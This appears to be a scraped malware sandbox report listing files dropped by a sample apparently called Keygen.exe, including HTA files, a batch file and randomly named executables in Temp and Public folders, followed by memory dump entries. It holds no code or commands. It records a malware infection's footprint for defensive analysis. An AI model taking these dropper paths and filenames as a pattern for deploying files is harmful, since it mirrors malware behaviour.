C:\Users\Admin\AppData\Local\Temp\535E.tmp\m.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\535E.tmp\m1.hta

Download Submit
C:\Users\Admin\AppData\Local\Temp\535E.tmp\start.bat

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
C:\Users\Public\guf.exe

Download Submit
C:\Users\Public\guf.exe

Download Submit
C:\Users\Public\kot.exe

Download Submit
C:\Users\Public\kot.exe

Download Submit
C:\Users\Public\kot.exe

Download Submit
C:\Users\Public\ygt.exe

Download Submit
C:\Users\Public\ygt.exe

Download Submit
C:\Users\Public\ygt.exe

Download Submit
\Users\Admin\AppData\Local\Temp\535E.tmp\Keygen.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

Download Submit
\Users\Public\guf.exe

Download Submit
\Users\Public\kot.exe

Download Submit
\Users\Public\kot.exe

Download Submit
\Users\Public\ygt.exe

Download Submit
\Users\Public\ygt.exe

Download Submit
memory/432-21-0x0000000000000000-mapping.dmp

Download
memory/432-56-0x0000000005500000-0x0000000005501000-memory.dmp

Filesize
4KB

Download
memory/432-35-0x0000000070960000-0x000000007104E000-memory.dmp

Filesize
6.9MB

Download
memory/520-18-0x0000000000000000-mapping.dmp

Download
memory/1232-27-0x0000000000000000-mapping.dmp

Download
memory/1344-19-0x0000000000000000-mapping.dmp

Download
memory/1344-34-0x0000000070960000-0x000000007104E000-memory.dmp

Filesize
6.9MB

Download
memory/1412-29-0x0000000000000000-mapping.dmp

Download
memory/1564-13-0x0000000000000000-mapping.dmp

Download
memory/1564-50-0x0000000002700000-0x0000000002701000-memory.dmp

Filesize
4KB

Download
memory/1564-23-0x0000000070960000-0x000000007104E000-memory.dmp

Filesize
6.9MB

Download
memory/1768-11-0x0000000000000000-mapping.dmp

Download
memory/1780-10-0x0000000000000000-mapping.dmp

Download
memory/1844-0-0x0000000000000000-mapping.dmp

Download
memory/1892-30-0x0000000000000000-mapping.dmp

Download
memory/1892-37-0x0000000070960000-0x000000007104E000-memory.dmp

Filesize
6.9MB

Download
memory/1896-4-0x0000000000000000-mapping.dmp

Download
memory/1896-5-0x0000000000000000-mapping.dmp

Download
memory/1912-8-0x0000000000000000-mapping.dmp

Download
memory/1948-77-0x00000000064C0000-0x00000000064C1000-memory.dmp

Filesize
4KB

Download
memory/1948-70-0x00000000063A0000-0x00000000063A1000-memory.dmp

Filesize
4KB

Download
memory/1948-164-0x0000000006800000-0x0000000006801000-memory.dmp

Filesize
4KB

Download
memory/1948-31-0x0000000000000000-mapping.dmp

Download
memory/1948-36-0x0000000070960000-0x000000007104E000-memory.dmp

Filesize
6.9MB

Download
memory/1948-162-0x00000000067F0000-0x00000000067F1000-memory.dmp

Filesize
4KB

Download
memory/1948-69-0x0000000006310000-0x0000000006311000-memory.dmp

Filesize
4KB

Download
memory/1948-64-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/1948-44-0x0000000004B30000-0x0000000004B31000-memory.dmp

Filesize
4KB

Download
memory/1948-121-0x0000000006790000-0x0000000006791000-memory.dmp

Filesize
4KB

Download
memory/1948-82-0x0000000006550000-0x0000000006551000-memory.dmp

Filesize
4KB

Download
memory/1980-22-0x0000000070960000-0x000000007104E000-memory.dmp

Filesize
6.9MB

Download
memory/1980-14-0x0000000000000000-mapping.dmp

Download
memory/1980-38-0x0000000002470000-0x0000000002471000-memory.dmp

Filesize
4KB

Download
memory/1984-15-0x0000000000000000-mapping.dmp

Download
memory/2040-17-0x0000000000000000-mapping.dmp

Download
memory/2476-104-0x0000000000000000-mapping.dmp

Download
memory/2476-108-0x0000000070960000-0x000000007104E000-memory.dmp

Filesize
6.9MB

Download
memory/2476-126-0x00000000008C0000-0x00000000008C1000-memory.dmp

Filesize
4KB

Download
memory/2512-111-0x0000000000000000-mapping.dmp

Download
memory/2544-116-0x0000000000000000-mapping.dmp

Download
memory/2648-132-0x0000000000000000-mapping.dmp

Download
memory/2704-138-0x0000000000000000-mapping.dmp

Download
memory/2732-143-0x0000000000000000-mapping.dmp

Download
memory/2780-153-0x0000000000000000-mapping.dmp

Download
memory/2816-163-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/2816-160-0x000000000043FCC3-mapping.dmp

Download
memory/2816-159-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/2900-172-0x000000000043FCC3-mapping.dmp

Download
memory/2944-176-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/2944-177-0x000000000041A684-mapping.dmp

Download
memory/2944-179-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download